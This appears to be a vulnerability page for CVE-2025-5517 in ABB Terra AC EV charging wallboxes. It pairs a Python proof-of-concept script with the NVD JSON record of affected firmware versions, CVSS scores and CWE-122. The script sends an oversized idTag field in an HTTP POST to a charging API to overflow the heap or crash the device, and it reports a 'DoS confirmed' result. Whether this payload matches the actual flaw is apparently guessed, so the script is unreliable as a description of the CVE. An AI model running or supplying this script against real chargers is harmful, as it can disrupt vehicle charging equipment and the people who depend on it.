CVE-2025-5517

# CVE-2025-5517 - ABB Terra AC Wallbox Heap-based Buffer Overflow PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use against systems you do not own is illegal. import socket import struct import sys TARGET_HOST = "192.168.1.100" # Replace with target ABB Terra AC wallbox IP TARGET_PORT = 80 # Common management/web port BUFFER_SIZE = 8192 # Oversized payload to trigger heap overflow def build_malicious_payload(): """ Build a malformed HTTP/OCPP request with an oversized field to trigger heap-based buffer overflow in the wallbox firmware. """ # Normal HTTP POST header header = b"POST /api/v1/charging HTTP/1.1\r\n" header += b"Host: " + TARGET_HOST.encode() + b"\r\n" header += b"Content-Type: application/json\r\n" header += b"Content-Length: " + str(BUFFER_SIZE).encode() + b"\r\n" header += b"Connection: keep-alive\r\n" header += b"\r\n" # Malicious oversized JSON body with a long string field # This may overflow the heap buffer allocated for parsing the parameter payload = b'{"idTag":"' + b'A' * BUFFER_SIZE + b'","connectorId":1}' return header + payload def exploit(): print(f"[*] Targeting ABB Terra AC Wallbox at {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") payload = build_malicious_payload() sock.send(payload) print(f"[+] Sent {len(payload)} bytes of malicious payload") try: response = sock.recv(4096) print(f"[*] Response: {response[:200]}") except socket.timeout: print("[!] No response - device may have crashed (DoS confirmed)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-5517", "sourceIdentifier": "[email protected]", "published": "2025-10-20T19:15:37.837", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based Buffer Overflow vulnerability in ABB Terra AC wallbox (UL40/80A), ABB Terra AC wallbox (UL32A), ABB Terra AC wallbox (MID/ CE) -Terra AC MID, ABB Terra AC wallbox (MID/ CE) -Terra AC Juno CE, ABB Terra AC wallbox (MID/ CE) -Terra AC PTB, ABB Terra AC wallbox (JP).This issue affects Terra AC wallbox (UL40/80A): through 1.8.32; Terra AC wallbox (UL32A): through 1.8.2; Terra AC wallbox (MID/ CE) -Terra AC MID: through 1.8.32; Terra AC wallbox (MID/ CE) -Terra AC Juno CE: through 1.8.32; Terra AC wallbox (MID/ CE) -Terra AC PTB: through 1.8.21; Terra AC wallbox (JP): through 1.8.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A8948&LanguageCode=en&DocumentPartId=PDF&Action=Launch", "source": "[email protected]"}]}}